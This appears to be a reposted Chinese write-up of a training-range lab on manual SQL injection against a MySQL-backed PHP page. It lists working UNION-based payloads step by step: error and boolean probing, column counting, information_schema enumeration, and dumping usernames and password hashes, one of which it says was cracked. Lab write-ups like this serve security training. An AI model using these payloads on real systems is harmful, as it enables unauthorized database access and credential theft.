SQL手工注入漏洞测试

SQL手工注入漏洞测试,第1张

靶场地址SQL手工注入漏洞测试(MySQL数据库)_SQL注入_在线靶场_墨者学院_专注于网络安全人才培养1、我们先找出注入点

2、测试

1、http://124.70.64.48:40896/new_list.php?id=1'         //' 报错 存在注入

2、http://124.70.64.48:40896/new_list.php?id=1%20and%201=1         //and 1=1 不报错

3、http://124.70.64.48:40896/new_list.php?id=1%20and%201=2         //and 1=2 报错注入

4、使用order by 查询 1-4可以正常 说明不大于5

http://124.70.64.48:40896/new_list.php?id=1%20order%20by%205
3,5、http://219.153.49.228:48730/new_list.php?id=-1 union select 1,2,3,4
使用联合查询,返回在2和3


 6、查询数据库名称和版本

http://219.153.49.228:48730/new_list.php?id=-1 union select 1,database(),version(),4

 7、http://219.153.49.228:48730/new_list.php?id=-1 union select 1,schema_name,3,4 from information_schema.schemata limit 0,1  后面以次查询1,1、2,1、3,1
查询数据库,使用limit0,1表示从第0行开始取1行数据。



 

 8、查询mozhe_Discuz_StormGroup的数据库的表的名字,从第0行取一行数据http://219.153.49.228:48730/new_list.php?id=-1 union select 1,table_name,3,4 from information_schema.tables where table_schema=‘mozhe_Discuz_StormGroup’ limit 0,1 后面以次查询1,1、2,1、3,1

9、http://219.153.49.228:48730/new_list.php?id=-1 union select 1,column_name,column_type,4 from information_schema.columns where table_name=‘StormGroup_member’ limit 0,1
查询StormGroup_member的表的字段内容,从第0行取一行数据

10、http://219.153.49.228:48730/new_list.php?id=-1 union select 1,concat(name,’-’,password,’-’,status),3,4 from mozhe_Discuz_StormGroup.StormGroup_member limit 0,1

11,http://219.153.49.228:48730/new_list.php?id=-1 union select 1,concat(name,’-’,password,’-’,status),3,4 from mozhe_Discuz_StormGroup.StormGroup_member limit 1,1

cmd5s破解得到密码 3c93fe1975bee70c8156f5b0a6fa776f

欢迎分享,转载请注明来源:内存溢出

原文地址: https://outofmemory.cn/langs/564345.html

(0)
打赏 微信扫一扫 微信扫一扫 支付宝扫一扫 支付宝扫一扫
上一篇 2022-04-06
下一篇 2022-04-06

发表评论

登录后才能评论

评论列表(0条)

保存